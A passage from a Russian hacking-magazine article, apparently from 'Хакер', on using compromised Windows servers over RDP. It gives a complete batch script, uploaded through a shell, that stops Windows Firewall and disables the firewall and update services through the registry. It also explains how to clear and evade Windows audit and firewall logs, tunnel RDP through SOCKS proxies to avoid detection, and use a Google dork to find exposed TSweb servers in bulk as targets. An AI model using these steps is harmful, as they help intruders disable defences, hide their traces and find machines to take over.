Терминальная эпопея

Андрей Комаров aka Skvoznoy

Хакер, номер #095, стр. 095-074-2

Caller Logon ID: (0x0,0x3E7)

Caller Process ID: 7248

Transited Services: -

Source Network Address: ВАШ IP

Source Port: 3046

Физически данный лог-файл по безопасности находится здесь C:\WIN2003\System32\config\SecEvent.Evt, но просто так его не удалить – доступ к файлу возможен только из консоли mmc (команда mmc из ПУСК->Выполнить). Причем, даже после проведения "легитимной" операции по удалению лога Event Viewer зафиксирует попытку удаления и оставит информацию, кем была сделана очистка:

The audit log was cleared

Primary User Name: SYSTEM

Primary Domain: NT AUTHORITY

Primary Logon ID: (0x0,0x3E7)

Client User Name: Administrator

Client Domain: SUPERSERVER

Client Logon ID: (0x0,0x133F833B)

Дело в том, что параллельно с этим Windows Firewall пишет лог подключений, физически располагающийся на C:\WINDOWS\pfirewall.log. Основой нашей идеи является то, что настройки этого брандмауэра хранятся в реестре, поэтому модификацией реестра можно либо отключить Windows Firewall, либо внести произвольное приложение в список доверенных.

Для отключения фаервола создаем .bat'ник, загружаем его на сервер (через шелл) и запускаем (через консоль).

@echo off

net stop "Windows Firewall/Internet Connection Sharing (ICS)"

> "%Temp%.\kill.reg" ECHO REGEDIT4

>>"%Temp%.\kill.reg" ECHO.

>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]

>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004

>>"%Temp%.\kill.reg" ECHO.

>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]

>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004

>>"%Temp%.\kill.reg" ECHO.

START /WAIT REGEDIT /S "%Temp%.\kill.reg"

DEL "%Temp%.\kill.reg"

Во избежание казусов с анализом трафика или скрытых логгеров, установленных на системе, пустим подключение к RDP через соксы. Сделать это можно с помощью программы SOCKSCAP. Добавь mstsc.exe в список программ, туннелируемых через Sockcap.

Аналогичный вариант - использовать E-border driver или Permeo Diver, которые работают на уровне драйвера и позволяют редирекить траф со всех приложений системы на выбранный Socks.

Раз, два, три, четыре, пять – идем дедики искать!

Но что делать, когда нам нужна массовость, а не один дедик с RDS, поднятым с шелла? Наверное, ты подумал о сканере NMAP и запросе nmap -sT -p 3389 сеть/24 > log.txt? Конечно, это даст определенный результат, но многие админы изменяют порт RDS, и ты можешь получить кучу мусора со сторонними баннерами сервисов. Поэтому поступим по-другому. Для взлома этого заюзаем метод Google Hacking (вообще в кругах опытных хакеров он носит не очень серьезный смысл). Откроем гугл и вобьем туда следующий запрос:

http://www.google.com/search?q=intitle:Remote.Desktop.Web.Connection%20inurl:tsweb

"Какая связь поисковых запросов и RDP?" - спросишь ты. Дело в том, что многие админы используют специальный плагин, имитирующий WEB-интерфейс для подключения. Его название TSweb (http://tsweb.epfl.ch/). Так что, с помощью одного запроса ты найдешь сотни потенциально уязвимых машин с включенным RDP. Чтобы не утомлять себя ручной работой по анализу ссылок, сваяем скриптец: